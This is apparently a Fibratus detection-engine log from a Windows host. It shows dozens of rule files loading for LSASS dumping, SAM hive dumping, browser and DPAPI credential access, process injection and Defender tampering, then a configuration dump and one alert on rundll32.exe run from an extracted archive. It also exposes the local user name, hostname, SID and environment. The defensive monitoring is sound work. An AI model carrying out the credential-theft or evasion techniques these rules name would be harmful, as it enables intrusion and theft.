C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-11-12T19:30:25+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-11-12T19:30:42+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-11-12T19:30:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-11-12T19:30:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-11-12T19:30:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-11-12T19:30:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-11-12T19:30:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-11-12T19:30:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-11-12T19:30:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-11-12T19:30:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-11-12T19:30:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-11-12T19:30:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-11-12T19:30:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-11-12T19:30:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-11-12T19:30:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-11-12T19:30:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-11-12T19:30:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-11-12T19:30:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-11-12T19:30:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-11-12T19:30:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-11-12T19:30:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-11-12T19:30:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-11-12T19:30:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-11-12T19:30:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-11-12T19:30:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-11-12T19:30:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-11-12T19:30:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-11-12T19:30:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-11-12T19:30:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-11-12T19:30:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-11-12T19:30:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-11-12T19:30:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-11-12T19:30:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-11-12T19:30:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-11-12T19:30:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-11-12T19:30:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-11-12T19:30:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-11-12T19:30:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-11-12T19:30:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-11-12T19:30:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-11-12T19:30:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-11-12T19:30:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-11-12T19:30:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-12T19:30:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-11-12T19:30:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-11-12T19:30:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-11-12T19:30:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-11-12T19:30:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-11-12T19:30:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-11-12T19:30:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-11-12T19:30:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-11-12T19:30:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-11-12T19:30:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-12T19:30:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-11-12T19:30:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-11-12T19:30:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\execution_process_execution_from_compressed_file_via_explorer.yml source=config/filters.go:355 +time=2025-11-12T19:30:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-12T19:30:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-12T19:30:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-12T19:30:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-12T19:30:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-11-12T19:30:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-11-12T19:30:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-12T19:30:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-12T19:30:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-12T19:30:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-11-12T19:30:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-11-12T19:30:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-11-12T19:30:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-11-12T19:30:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-12T19:30:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-11-12T19:30:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-11-12T19:30:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-11-12T19:30:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-11-12T19:30:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-11-12T19:30:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-12T19:30:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-11-12T19:30:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-11-12T19:30:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-11-12T19:30:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-11-12T19:30:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-11-12T19:30:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-12T19:30:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-11-12T19:30:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-11-12T19:30:43+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: true + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: true + HasAuditAPIEvents: true + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Accept, Connect, CreateFile, CreateHandle, CreateProcess, CreateSymbolicLinkObject, CreateThread, DeleteFile, LoadImage, MapViewFile, OpenProcess, OpenThread, Recv, RegCreateKey, RegOpenKey, RegSetValue, Send, SetFileInformation, SetThreadContext, UnloadImage, UnmapViewFile source=bootstrap/bootstrap.go:150 +time=2025-11-12T19:30:43+01:00 level=info msg=bootstrapping with pid 17908. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-12T19:30:43+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ mail=>[ to=>[] enabled=>false content-type=>text/html use-template=>true port=>25] slack=>[ enabled=>false] systray=>[ sound=>true enabled=>false quiet-mode=>false] eventlog=>[ verbose=>true enabled=>true]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>true] + event .......................... [ serialize-envs=>true serialize-threads=>false serialize-pe=>false serialize-handles=>false serialize-images=>false] + eventsource .................... [ blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] enable-fileio=>true enable-handle=>false enable-thread=>true enable-dns=>false buffer-size=>512 enable-threadpool=>false stack-enrichment=>true enable-audit-api=>true enable-vamap=>true max-buffers=>36 enable-image=>true enable-mem=>false enable-registry=>true enable-net=>true min-buffers=>16 flush-interval=>1s] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ match-all=>true macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] rules=>[ from-paths=>[C:\Fibratus\fibratus\rules\*.yml] enabled=>true from-urls=>[]]] + forward ........................ false + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ max-size=>100 max-backups=>15 formatter=>text log-stdout=>true level=>info max-age=>0] + output ......................... [ amqp=>[ delivery-mode=>transient exchange=>fibratus passive=>false exchange-type=>topic tls-insecure-skip-verify=>false vhost=>/ enabled=>false url=>amqp://localhost:5672 timeout=>5s durable=>false routing-key=>fibratus] elasticsearch=>[ trace-log=>false index-name=>fibratus healthcheck-timeout=>5s flush-period=>1s template-name=>fibratus gzip-compression=>false healthcheck-interval=>10s sniff=>false bulk-workers=>1 servers=>[http://127.0.0.1:9200] enabled=>false healthcheck=>true timeout=>5s] eventlog=>[ level=>info enabled=>false] http=>[ method=>POST tls-insecure-skip-verify=>false serializer=>json timeout=>5s endpoints=>[] enable-gzip=>false enabled=>false] console=>[ template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Sid }} + format=>pretty enabled=>true]] + pe ............................. [ enabled=>false read-resources=>false read-sections=>false read-symbols=>false excluded-images=>[svchost.exe]] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ trim=>[ enabled=>false] tags=>[ enabled=>false] remove=>[ enabled=>false params=>[]] replace=>[ enabled=>false] rename=>[ enabled=>false]] + yara ........................... [ fastscan=>true rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] scan-timeout=>10s excluded-procs=>[] skip-mmaps=>false skip-files=>false enabled=>false skip-registry=>false excluded-files=>[] skip-allocs=>false] source=bootstrap/bootstrap.go:185 +time=2025-11-12T19:30:43+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-12T19:30:45+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-12T19:30:51+01:00 level=info msg=sending alert: [Process execution from compressed file via Explorer]. Text: Event(s): + Seq: 3634314 + Pid: 5732 + Tid: 3076 + Type: CreateProcess + CPU: 1 + Name: CreateProcess + Category: process + Description: Creates a new process and its primary thread + Host: archrabbit + Timestamp: 2025-11-12 19:30:49.6865516 +0100 CET + Params: cmdline➜ "C:\Users\nedo\AppData\Local\Temp\Rar$EXa5732.38595\rundll32.exe" , directory_table_base➜ 39e7e9000, domain➜ ARCHRABBIT, exe➜ C:\Users\nedo\AppData\Local\Temp\Rar$EXa5732.38595\rundll32.exe, exit_status➜ Success, flags➜ , kproc➜ ffffd506fd9640c0, name➜ rundll32.exe, pid➜ 12592, ppid➜ 5732, real_ppid➜ 5732, session_id➜ 1, sid➜ S-1-5-21-2271034452-2606270099-984871569-1001, start_time➜ 2025-11-12 19:30:49.6865516 +0100 CET, username➜ nedo + Metadata: technique.ref: https://attack.mitre.org/techniques/T1204/, subtechnique.ref: https://attack.mitre.org/techniques/T1204/002/, rule.seq.link: 1762972319479774512, rule.name: Process execution from compressed file via Explorer, tactic.name: Execution, tactic.ref: https://attack.mitre.org/tactics/TA0002/, subtechnique.id: T1204.002, subtechnique.name: Malicious File, tactic.id: TA0002, technique.id: T1204, technique.name: User Execution + + Pid: 5732 + Ppid: 4496 + Name: WinRAR.exe + Parent name: explorer.exe + Cmdline: "C:\Program Files\WinRAR\WinRAR.exe" "C:\Users\nedo\Downloads\rundll32.tar" + Parent cmdline: C:\WINDOWS\Explorer.EXE + Exe: C:\Program Files\WinRAR\WinRAR.exe + Cwd: C:\WINDOWS\system32\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Program Files\WinRAR\WinRAR.exe" "C:\Users\nedo\Downloads\rundll32.tar"] + Session ID: 1 + Envs: map[:::=::\ ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData EFC_4496_1262719628:1 EFC_4496_1592913036:1 EFC_4496_2283032206:1 EFC_4496_2775293581:1 EFC_4496_3789132940:1 FPS_BROWSER_APP_PROFILE_STRING:Internet Explorer FPS_BROWSER_USER_PROFILE_STRING:Default GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\WinRAR;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-11-12T19:31:42+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-12T19:31:42+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-12T19:31:42+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-12T19:31:47+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-11-12T19:31:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-11-12T19:31:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-11-12T19:31:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-11-12T19:31:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-11-12T19:31:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-11-12T19:31:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-11-12T19:31:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-11-12T19:31:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-11-12T19:31:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-11-12T19:31:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-11-12T19:31:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-11-12T19:31:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-11-12T19:31:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-11-12T19:31:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-11-12T19:31:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-11-12T19:31:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-11-12T19:31:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-11-12T19:31:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-11-12T19:31:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-11-12T19:31:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-11-12T19:31:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-11-12T19:31:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-11-12T19:31:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-11-12T19:31:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-11-12T19:31:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-11-12T19:31:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-11-12T19:31:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-11-12T19:31:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-11-12T19:31:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-11-12T19:31:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-11-12T19:31:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-11-12T19:31:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-11-12T19:31:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-11-12T19:31:47+01:00 level=info msg=loading rule from 